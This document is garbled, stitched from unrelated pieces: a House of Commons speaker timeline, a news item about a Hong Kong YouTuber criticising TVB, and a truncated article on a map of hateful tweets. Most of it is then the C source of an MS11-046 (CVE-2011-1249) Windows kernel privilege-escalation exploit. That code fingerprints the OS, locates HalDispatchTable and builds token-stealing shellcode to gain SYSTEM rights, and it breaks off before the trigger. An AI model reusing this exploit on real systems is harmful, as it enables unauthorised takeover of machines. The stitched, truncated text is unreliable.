10:56:30 Mark Pawsey MP (Rugby, Conservative)
10:57:01 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:57:29 Jonathan Edwards MP (Carmarthen East and Dinefwr, Plaid Cymru)
10:58:12 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:58:42 Henry Smith MP (Crawley, Conservative)
10:59:11 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
10:59:29 Mr Chuka Umunna MP (Streatham, Labour)
11:00:14 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:00:41 Andrew Stephenson MP (Pendle, Conservative)
11:01:09 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:01:34 Mr Barry Sheerman MP (Huddersfield, Labour (Co-op))
11:02:21 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:03:03 Martin Vickers MP (Cleethorpes, Conservative)
11:03:24 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:03:53 Alan Brown MP (Kilmarnock and Loudoun, Scottish National Party)
11:04:27 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:04:44 Ben Howlett MP (Bath, Conservative)
11:05:18 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:06:01 Lilian Greenwood MP (Nottingham South, Labour)
11:06:36 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:07:16 John Mann MP (Bassetlaw, Labour)
11:07:55 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:08:20 Andy Slaughter MP (Hammersmith, Labour)
11:08:58 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:09:17 Kirsty Blackman MP (Aberdeen North, Scottish National Party)
11:09:44 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:09:58 Valerie Vaz MP (Walsall South, Labour)
11:10:12 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:10:16 Jim Shannon MP (Strangford, Democratic Unionist Party)
11:11:12 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:11:35 Nick Smith MP (Blaenau Gwent, Labour)
11:11:57 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:12:10 Ruth Smeeth MP (Stoke-on-Trent North, Labour)
11:12:37 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:12:50 Paula Sherriff MP (Dewsbury, Labour)
11:13:20 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:13:50 Melanie Onn MP (Great Grimsby, Labour)
11:14:18 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:14:46 Jeff Smith MP (Manchester, Withington, Labour)
11:15:08 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:15:33 Margaret Ferrier MP (Rutherglen and Hamilton West, Scottish National Party)
11:15:54 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:16:12 Chris Law MP (Dundee West, Scottish National Party)
11:16:43 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:16:55 Vernon Coaker MP (Gedling, Labour)
11:17:40 Rt Hon Chris Grayling MP, Lord President of the Council and Leader of the House of Commons (Epsom and Ewell, Conservative)
11:18:24 Select Committee Statement: First Report from the Defence Committee, Russia: Implications for UK defence and security
11:18:32 Rt Hon Dr Julian Lewis MP (New Forest East, Conservative)
11:45:18 Backbench Business: Online abuse
11:45:38 Rt Hon Maria Miller MP (Basingstoke, Conservative)
12:03:33 Dr Roberta Blackman-Woods MP (City of Durham, Labour)
12:11:45 Simon Hart MP (Carmarthen West and South Pembrokeshire, Conservative)
12:20:57 Ms Tasmina Ahmed-Sheikh MP (Ochil and South Perthshire, Scottish National Party)
12:28:56 Rebecca Harris MP (Castle Point, Conservative)
12:33:47 Gill Furniss MP (Sheffield, Brightside and Hillsborough, Labour)
12:42:34 Caroline Ansell MP (Eastbourne, Conservative)
12:47:13 Liz Saville Roberts MP (Dwyfor Meirionnydd, Plaid Cymru)
12:53:47 Caroline Nokes MP (Romsey and Southampton North, Conservative)
13:01:40 Liz McInnes MP (Heywood and Middleton, Labour)
13:08:52 Seema Kennedy MP (South Ribble, Conservative)
13:15:56 Patricia Gibson MP (North Ayrshire and Arran, Scottish National Party)
13:23:36 Kit Malthouse MP (North West Hampshire, Conservative)
13:32:36 Margaret Ferrier MP (Rutherglen and Hamilton West, Scottish National Party)
13:37:17 Gavin Newlands MP (Paisley and Renfrewshire North, Scottish National Party)
13:44:02 Ruth Cadbury MP (Brentford and Isleworth, Labour)
13:55:46 Nigel Huddleston MP (Mid Worcestershire, Conservative)
13:57:58 John Nicolson MP (East Dunbartonshire, Scottish National Party)
14:11:07 Chi Onwurah MP (Newcastle upon Tyne Central, Labour)
14:22:11 Mr Edward Vaizey MP, Minister of State for Culture and the Digital Economy (Jointly with Department for Business, Innovation and Skills) (Wantage, Conservative)
14:35:17 Rt Hon Maria Miller MP (Basingstoke, Conservative)
14:37:20 Backbench Business: Support for the UK's creative industries and their contribution to the economy
14:37:29 Julie Elliott MP (Sunderland Central, Labour)
14:51:01 Chris White MP (Warwick and Leamington, Conservative)
15:01:35 Rt Hon Fiona Mactaggart MP (Slough, Labour)
15:10:35 Nigel Adams MP (Selby and Ainsty, Conservative)
15:21:49 Chris Law MP (Dundee West, Scottish National Party)
15:32:33 Sir David Amess MP (Southend West, Conservative)
15:40:29 Kerry McCarthy MP (Bristol East, Labour)
15:50:33 Patrick Grady MP (Glasgow North, Scottish National Party)
16:01:33 Deidre Brock MP (Edinburgh North and Leith, Scottish National Party)
16:08:17 Joanna Cherry QC MP (Edinburgh South West, Scottish National Party)
16:19:11 Pete Wishart MP (Perth and North Perthshire, Scottish National Party)
16:34:14 Kelvin Hopkins MP (Luton North, Labour)
16:40:51 Mr Edward Vaizey MP, Minister of State for Culture and the Digital Economy (Jointly with Department for Business, Innovation and Skills) (Wantage, Conservative)
16:55:51 Julie Elliott MP (Sunderland Central, Labour)
16:59:37 Adjournment: Human rights in Sri Lanka
16:59:44 Wes Streeting MP (Ilford North, Labour)A Youtube video made by a young Hong Kong woman in which she criticises local broadcaster TVB for spreading a narrow concept of success has gone viral.
Success should not be defined by money, property and other materialistic gains, said Asha Cuthbert in the video “Dear TVB.”
Cuthbert, a British Filipino model who grew up in Hong Kong, was responding to a TVB reality show in which online celebrities are invited to “challenge mainstream media” by making short films.
In a recent episode of The Internet Of Things On TV, veteran film director Wong Jing told two young Youtubers that they are unsuccessful because they will not earn enough money to buy an apartment by making Youtube videos. The index of success in Hong Kong is owning an apartment, Wong said in the show.
“Why do I need to make a lot of money to be considered successful? I think I am doing what I want to do—this is already a success,” Cuthbert said in fluent Cantonese. “I don’t need to go to the office and work for a boss who doesn’t even know my name. I am working for myself and doing what I want.”
Cuthbert said she loves Hong Kong and does not want TVB to “brainwash” Hongkongers into believing money is the only criteria of success. She also said Hong Kong will never be a truly multicultural and international city if the people value nothing but money and property.
The video has been viewed over 128,000 times since it was uploaded on Sunday.The racist map of America: Tweets analyzed for offensive keywords reveal the most bigoted parts of the US and which people are the most hated
The project Geography of Hate was created by cartography students at Humboldt State University
Students analyzed 150,000 tweets containing hate words sent between June 2012-April 2013
Researchers looked at usage of 10 slurs in three categories: racist, homophobic and disability
Use of offensive term n***** was not concentration in any single region, but had pockets of concentration in Iowa and Indiana
Racism, homophobia and general intolerance are not unique to any particular
|
Installed | <-Replaces| <-Replaces| - | <-Replaces|
# Windows x86 Vista SP1 | Installed | - | - | - | - |
# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces|
# Windows x86 Server 2008 | Installed | - | - | - | - |
# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces|
# Windows x86 7 | Installed | - | - | - | - |
# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces|
################################################################
# Thanks to:
# azy (XP, 2k3 exploit)
# Rahul Sasi (PoC)
################################################################
# References:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249
# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx
# http://web.qhwins.com/Security/2012021712023641874126.html
# https://www.exploit-db.com/exploits/18755/
################################################################
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
#pragma comment (lib, \"ws2_32.lib\")
////////////////////////////////////////////////////////////////
// DEFINE DATA TYPES
////////////////////////////////////////////////////////////////
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL) (
KPROFILE_SOURCE ProfileSource,
PULONG Interval
);
typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PNTALLOCATE) (
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect
);
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
////////////////////////////////////////////////////////////////
// FUNCTIONS
////////////////////////////////////////////////////////////////
BOOL IsWow64()
{
BOOL bIsWow64 = FALSE;
LPFN_ISWOW64PROCESS fnIsWow64Process;
fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"IsWow64Process\");
if(NULL!= fnIsWow64Process)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx
if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(\" [-] Failed (error code: %d)\
\", GetLastError());
return -1;
}
}
return bIsWow64;
}
////////////////////////////////////////////////////////////////
// MAIN FUNCTION
////////////////////////////////////////////////////////////////
int main(void)
{
printf(\"[*] MS11-046 (CVE-2011-1249) x86 exploit\
\");
printf(\" [*] by Tomislav Paskalev\
\");
////////////////////////////////////////////////////////////////
// IDENTIFY TARGET OS ARCHITECTURE AND VERSION
////////////////////////////////////////////////////////////////
printf(\"[*] Identifying OS\
\");
// identify target machine's OS architecture
// in case the target machine is running a 64-bit OS
if(IsWow64())
{
printf(\" [-] 64-bit\
\");
return -1;
}
printf(\" [+] 32-bit\
\");
// identify target machine's OS version
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx
OSVERSIONINFOEX osvi;
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO) &osvi);
// define operating system version specific variables
unsigned char shellcode_KPROCESS;
unsigned char shellcode_TOKEN;
unsigned char shellcode_UPID;
unsigned char shellcode_APLINKS;
const char **securityPatchesPtr;
int securityPatchesCount;
int lpInBufferSize;
////////////////////////////////////////////////////////////////
/*
OS VERSION SPECIFIC OFFSETS
references:
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm
http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/
- nt!_KTHREAD.ApcState.Process (+0x10)
0x30 (3.51);
0x34 (>3.51 to 5.1);
0x28 (late 5.2);
0x38 (6.0);
0x40 (6.1);
0x70 (6.2 and higher)
- nt!_EPROCESS.Token
0x0108 (3.51 to 4.0);
0x012C (5.0);
0xC8 (5.1 to early 5.2);
0xD8 (late 5.2);
0xE0 (6.0);
0xF8 (6.1);
0xEC (6.2 to 6.3);
0xF4
- nt!_EPROCESS.UniqueProcessId
0x94 (3.51 to 4.0);
0x9C (5.0);
0x84 (5.1 to early 5.2);
0x94 (late 5.2);
0x9C (6.0);
0xB4
- nt!_EPROCESS.ActiveProcessLinks.Flink
0x98 (3.51 to 4.0);
0xA0 (5.0);
0x88 (5.1 to early 5.2);
0x98 (late 5.2);
0xA0 (6.0);
0xB8
*/
////////////////////////////////////////////////////////////////
// in case the OS version is 5.1, service pack 3
if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))
{
// the target machine's OS is Windows XP SP3
printf(\" [+] Windows XP SP3\
\");
shellcode_KPROCESS = '\\x44';
shellcode_TOKEN = '\\xC8';
shellcode_UPID = '\\x84';
shellcode_APLINKS = '\\x88';
const char *securityPatches[] = {\"KB2503665\", \"KB2592799\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x30;
}
// in case the OS version is 5.2, service pack 2, not R2
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx
else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))
{
// the target machine's OS is Windows Server 2003 SP2
printf(\" [+] Windows Server 2003 SP2\
\");
shellcode_KPROCESS = '\\x38';
shellcode_TOKEN = '\\xD8';
shellcode_UPID = '\\x94';
shellcode_APLINKS = '\\x98';
const char *securityPatches[] = {\"KB2503665\", \"KB2592799\", \"KB2645640\", \"KB2975684\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 4;
lpInBufferSize = 0x30;
}
// in case the OS version is 6.0, service pack 1, workstation
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))
{
// the target machine's OS is Windows Vista SP1
printf(\" [+] Windows Vista SP1\
\");
shellcode_KPROCESS = '\\x48';
shellcode_TOKEN = '\\xE0';
shellcode_UPID = '\\x9C';
shellcode_APLINKS = '\\xA0';
const char *securityPatches[] = {\"KB2503665\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x30;
}
// in case the OS version is 6.0, service pack 2, workstation
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))
{
// the target machine's OS is Windows Vista SP2
printf(\" [+] Windows Vista SP2\
\");
shellcode_KPROCESS = '\\x48';
shellcode_TOKEN = '\\xE0';
shellcode_UPID = '\\x9C';
shellcode_APLINKS = '\\xA0';
const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
// in case the OS version is 6.0, no service pack*, server
// *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;
// accordingly, the first service pack is called Service Pack 2.
// https://en.wikipedia.org/wiki/Windows_Server_2008
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType!= 1))
{
// the target machine's OS is Windows Server 2008
printf(\" [+] Windows Server 2008\
\");
shellcode_KPROCESS = '\\x48';
shellcode_TOKEN = '\\xE0';
shellcode_UPID = '\\x9C';
shellcode_APLINKS = '\\xA0';
const char *securityPatches[] = {\"KB2503665\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x10;
}
// in case the OS version is 6.0, service pack 2, server
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType!= 1))
{
// the target machine's OS is Windows Server 2008 SP2
printf(\" [+] Windows Server 2008 SP2\
\");
shellcode_KPROCESS = '\\x48';
shellcode_TOKEN = '\\xE0';
shellcode_UPID = '\\x9C';
shellcode_APLINKS = '\\xA0';
const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x08;
}
// in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))
{
// the target machine's OS is Windows 7
printf(\" [+] Windows 7\
\");
shellcode_KPROCESS = '\\x50';
shellcode_TOKEN = '\\xF8';
shellcode_UPID = '\\xB4';
shellcode_APLINKS = '\\xB8';
const char *securityPatches[] = {\"KB2503665\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 1;
lpInBufferSize = 0x20;
}
// in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)
else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))
{
// the target machine's OS is Windows 7 SP1
printf(\" [+] Windows 7 SP1\
\");
shellcode_KPROCESS = '\\x50';
shellcode_TOKEN = '\\xF8';
shellcode_UPID = '\\xB4';
shellcode_APLINKS = '\\xB8';
const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};
securityPatchesPtr = securityPatches;
securityPatchesCount = 2;
lpInBufferSize = 0x10;
}
// in case the OS version is not any of the previously checked versions
else
{
// the target machine's OS is an unsupported 32-bit Windows version
printf(\" [-] Unsupported version\
\");
printf(\" [*] Affected 32-bit operating systems\
\");
printf(\" [*] Windows XP SP3\
\");
printf(\" [*] Windows Server 2003 SP2\
\");
printf(\" [*] Windows Vista SP1\
\");
printf(\" [*] Windows Vista SP2\
\");
printf(\" [*] Windows Server 2008\
\");
printf(\" [*] Windows Server 2008 SP2\
\");
printf(\" [*] Windows 7\
\");
printf(\" [*] Windows 7 SP1\
\");
return -1;
}
////////////////////////////////////////////////////////////////
// LOCATE REQUIRED OS COMPONENTS
////////////////////////////////////////////////////////////////
printf(\"[*] Locating required OS components\
\");
// retrieve system information
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx
// locate \"ZwQuerySystemInformation\" in the \"ntdll.dll\" module
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx
FARPROC ZwQuerySystemInformation;
ZwQuerySystemInformation = GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"ZwQuerySystemInformation\");
// 11 = SystemModuleInformation
// http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm
ULONG systemInformation;
ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);
// allocate memory for the list of loaded modules
ULONG *systemInformationBuffer;
systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));
if(!systemInformationBuffer)
{
printf(\" [-] Could not allocate memory\");
return -1;
}
// retrieve the list of loaded modules
ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);
// locate \"ntkrnlpa.exe\" or \"ntoskrnl.exe\" in the retrieved list of loaded modules
ULONG i;
PVOID targetKrnlMdlBaseAddr;
HMODULE targetKrnlMdlUsrSpcOffs;
BOOL foundModule = FALSE;
PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;
loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);
for(i = 0; i < *systemInformationBuffer; i++)
{
if(strstr(loadedMdlStructPtr[i].ImageName, \"ntkrnlpa.exe\"))
{
printf(\" [+] ntkrnlpa.exe\
\");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA(\"ntkrnlpa.exe\", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
else if(strstr(loadedMdlStructPtr[i].ImageName, \"ntoskrnl.exe\"))
{
printf(\" [+] ntoskrnl.exe\
\");
targetKrnlMdlUsrSpcOffs = LoadLibraryExA(\"ntoskrnl.exe\", 0, 1);
targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;
foundModule = TRUE;
break;
}
}
// base address of the loaded module (kernel space)
printf(\" [*] Address: %#010x\
\", targetKrnlMdlBaseAddr);
// offset address (relative to the parent process) of the loaded module (user space)
printf(\" [*] Offset: %#010x\
\", targetKrnlMdlUsrSpcOffs);
if(!foundModule)
{
printf(\" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\
\");
return -1;
}
// free allocated buffer space
free(systemInformationBuffer);
// determine the address of the \"HalDispatchTable\" process (kernel space)
// locate the offset fo the \"HalDispatchTable\" process within the target module (user space)
ULONG_PTR HalDispatchTableUsrSpcOffs;
HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, \"HalDispatchTable\");
if(!HalDispatchTableUsrSpcOffs)
{
printf(\" [-] Could not find HalDispatchTable\
\");
return -1;
}
printf(\" [+] HalDispatchTable\
\");
printf(\" [*] Offset: %#010x\
\", HalDispatchTableUsrSpcOffs);
// calculate the address of \"HalDispatchTable\" in kernel space
// 1. identify the base address of the target module in kernel space
// 2. previous step's result [minus] the load address of the same module in user space
// 3. previous step's result [plus] the address of \"HalDispatchTable\" in user space
// EQUIVALENT TO:
// 1. determine RVA of HalDispatchTable
// *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.
// 2. previous step's result [plus] base address of target module in kernel space
ULONG_PTR HalDispatchTableKrnlSpcAddr;
HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;
HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;
// locate \"NtQueryIntervalProfile\" in the \"ntdll.dll\" module
PNTQUERYINTERVAL NtQueryIntervalProfile;
NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtQueryIntervalProfile\");
if(!NtQueryIntervalProfile)
{
printf(\" [-] Could not find NtQueryIntervalProfile\
\");
return -1;
}
printf(\" [+] NtQueryIntervalProfile\
\");
printf(\" [*] Address: %#010x\
\", NtQueryIntervalProfile);
// locate \"ZwDeviceIoControlFile\" routine in the \"ntdll.dll\" module
// https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx
FARPROC ZwDeviceIoControlFile;
ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"ZwDeviceIoControlFile\");
if(!ZwDeviceIoControlFile)
{
printf(\" [-] Could not find ZwDeviceIoControlFile\
\");
return -1;
}
printf(\" [+] ZwDeviceIoControlFile\
\");
printf(\" [*] Address: %#010x\
\", ZwDeviceIoControlFile);
////////////////////////////////////////////////////////////////
// SETUP EXPLOITATION PREREQUISITE
////////////////////////////////////////////////////////////////
printf(\"[*] Setting up exploitation prerequisite\
\");
// initialize Winsock DLL
printf (\" [*] Initialising Winsock DLL\
\");
WORD wVersionRequested;
WSADATA wsaData;
int wsaStartupErrorCode;
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx
wVersionRequested = MAKEWORD(2, 2);
// initiate the use of the Winsock DLL
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx
wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);
if(wsaStartupErrorCode!= 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(\" [-] Failed (error code: %d)\
\", wsaStartupErrorCode);
return -1;
}
printf(\" [+] Done\
\");
// create socket
printf(\" [*] Creating socket\
\");
SOCKET targetDeviceSocket = INVALID_SOCKET;
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx
targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if(targetDeviceSocket == INVALID_SOCKET)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf(\" [-] Failed (error code: %ld)\
\", WSAGetLastError());
return -1;
}
printf(\" [+] Done\
\");
// connect to a closed port
// connect to port 0 on the local machine
struct sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(\"127.0.0.1\");
clientService.sin_port = htons(0);
printf(\" [*] Connecting to closed port\
\");
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx
int connectResult;
connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));
if (connectResult == 0)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
printf (\" [-] Connected (error code: %ld)\
\", WSAGetLastError());
return -1;
}
printf(\" [+] Done\
\");
////////////////////////////////////////////////////////////////
// CREATE TOKEN STEALING SHELLCODE
////////////////////////////////////////////////////////////////
printf(\"[*] Creating token stealing shellcode\
\");
// construct the token stealing shellcode
unsigned char shellcode[] =
{
0x52, // PUSH EDX Save EDX on the stack (save context)
0x53, // PUSH EBX Save EBX on the stack (save context)
0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)
0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure
0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure
0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX
0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN
0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks
0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks
0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)
0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal
0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX
0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX
0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN
0x5B, // POP EBX Pop current stack value to EBX (restore context)
0x5A, // POP EDX Pop current stack value to EDX (restore context)
0xC2,0x08 // RET 8 Return
};
printf(\" [*] Shellcode assembled\
\");
// allocate memory (RWE permissions) for the shellcode
printf(\" [*] Allocating memory\
\");
LPVOID shellcodeAddress;
shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int errorCode = 0;
if(shellcodeAddress == NULL)
{
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
errorCode = GetLastError();
// in case of ERROR_INVALID_ADDRESS
if(errorCode == 487)
{
// Attempt to access invalid address
// occurs since a fixed address is being reserved
// http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex
printf(\" [!] Could not reserve entire range\
\");
printf(\" [*] Rerun exploit\
\");
}
// in case of any other error
else
printf(\" [-] Failed (error code: %d)\
\", errorCode);
return -1;
}
printf(\" [+] Address: %#010x\
\", shellcodeAddress);
// copy the shellcode to the allocated memory
memset(shellcodeAddress, 0x90, 0x20000);
memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));
printf(\" [*] Shellcode copied\
\");
////////////////////////////////////////////////////////////////
// EXPLOIT THE VULNERABILITY
////////////////////////////////////////////////////////////////
printf(\"[*] Exploiting vulnerability\
\");
// send AFD socket connect request
printf(\" [*] Sending AFD socket connect request\
\");
